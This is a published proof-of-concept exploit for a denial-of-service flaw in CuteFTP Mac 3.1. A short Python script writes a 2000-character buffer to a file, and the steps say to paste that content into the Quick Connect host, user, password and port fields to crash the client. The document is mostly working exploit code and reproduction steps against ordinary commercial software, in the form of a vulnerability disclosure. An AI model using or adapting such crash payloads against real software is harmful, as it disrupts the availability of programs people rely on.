CuteFTP Mac 3.1 - Denial of Service (PoC)

Yair Rodríguez Aparicio 2018-11-13 dos macos
# Exploit Title: CuteFTP Mac 3.1 Denial of Service (PoC)
# Date: 2018-11-06
# Exploit Author: Yair Rodríguez Aparicio
# Vendor Homepage: https://www.globalscape.com/cuteftp
# Software Link: http://go.globalscape.com/download/cuteftp-macosx
# Version: 3.1
# Tested on: macOS High Sierra 10.13

# Steps to Produce the Crash:
# 1.- Run python code : python cute.py
# 2.- Open text.txt and copy content to clipboard
# 3.- Open CuteFTP Mac
# 4.- Clic on "Quick Connect"
# 4.- Paste clipboard on "Host", "User", "Password" and "Port"
# 5.- click on "Run"
# 6.- Crashed!



buffer = "\x41" * 2000
f = open("text.txt", "w")
f.write(buffer)
f.close()